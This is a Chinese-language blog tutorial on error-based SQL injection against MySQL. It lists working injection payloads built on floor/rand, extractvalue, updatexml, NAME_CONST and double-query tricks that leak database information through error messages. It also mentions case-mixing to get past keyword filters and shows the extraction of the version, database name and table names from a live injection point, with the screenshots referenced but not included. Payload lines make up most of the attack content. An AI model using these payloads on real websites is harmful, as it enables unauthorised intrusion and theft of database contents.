SQL注入之mysql显错注入

发布时间:2020-05-27 20:20:35 作者:eth10
来源:网络 阅读:7479

    在我们实际***中,明明发现一个注入点,本以为丢给sqlmap就可以了,结果sqlmap只显示确实是注入点,但是数据库却获取不了,如图1所示,这时我们可以使用手工进行注入,判断出过滤规则以及基本过滤情况,然后再选择对应的sqlmap脚本(如果有的话),本文主要是讲述如何通过mysql函数报错来进行注入,另外如何使用手工进行全程注入的利用过程,如果你知道sqlmap里面有对应的脚本的话,烦请告知一下,谢谢!。

SQL注入之mysql显错注入

图1 获取数据库失败

    此时我们可以考虑下是否是显错注入,对于显错注入我们可以使用mysql显错注入函数进行查询数据库信息。

    通过floor报错:

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)
and (select count(*) from (select 1 union select null union select  !1)x group by concat((select version()),floor(rand(0)*2)))

    通过ExtractValue报错:

and extractvalue(1, concat(0x7f, (select version()),0x7f))

    通过UpdateXml报错:

and 1=(updatexml(1,concat(0x7f,(select version()),0x7f),1))

    通过NAME_CONST报错:

and 1=(select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)

    通过错误的双重查询:

or 1 group by concat_ws(0x7f,version(),floor(rand(0)*2)) having min(0) or 1

    在这里我们以UpdateXml报错进行实战演示,如图2是一个显错注入点。

SQL注入之mysql显错注入

图2 显错注入点

    此时我们将通过UpdateXml来进行SQL注入,这里由于对关键字进行了过滤,因此我们需要使用大小写来进行绕过,首先我们查询数据库版本,如图3所示,成功获取了数据库版本。

SQL注入之mysql显错注入

图3 获取数据库版本信息

    获取数据库名,如图4所示。

SQL注入之mysql显错注入

图4 获取数据名

    获取表名,如图5所示。

SQL注入之mysql显错注入

图5 获取表名

    后续操作请参考文章《mysql手工注入》,这里不再进行累赘!

推荐阅读:
  1. SQL注入
  2. web安全之SQL注入

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

sql注入 mysql注入 显错注入

上一篇:后PC时代的云桌面需要具备的五大特性

下一篇:Linux centos 下PHP安装

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》